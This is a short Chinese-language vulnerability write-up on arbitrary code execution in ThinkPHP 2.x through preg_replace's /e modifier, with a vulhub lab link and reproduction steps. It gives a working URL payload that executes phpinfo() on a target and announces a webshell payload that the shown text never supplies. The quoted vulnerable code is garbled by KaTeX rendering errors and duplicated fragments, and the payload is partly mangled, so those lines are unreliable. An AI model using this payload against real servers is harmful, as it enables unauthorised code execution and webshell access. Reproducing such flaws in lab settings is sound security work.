ThinkPHP 2.x 任意代碼執行漏洞
-
- 漏洞描述
- 環境搭建
- 漏洞複現
- 參考連結
漏洞描述
ThinkPHP 2.x版本中,使用preg_replace的/e模式比對路由:
KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.’([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[’\1’]="\2";’, implode( d e p r , depr, depr,paths));
導緻使用者的輸入參數被插入雙引号中執行,造成任意代碼執行漏洞。
ThinkPHP 3.0版本因為Lite模式下沒有修複該漏洞,也存在這個漏洞。
環境搭建
搭建連結:https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce
漏洞複現
1、使用payload 直接通路,即可執行phpinfo():
http://your-ip:8080/index.php?s=/index/index/name/$%[email protected]()%7D
2、利用該漏洞getshell,下面給出一個能夠直接蟻劍(菜刀)連接配接的payload:
參考連結
https://www.freebuf.com/column/223149.html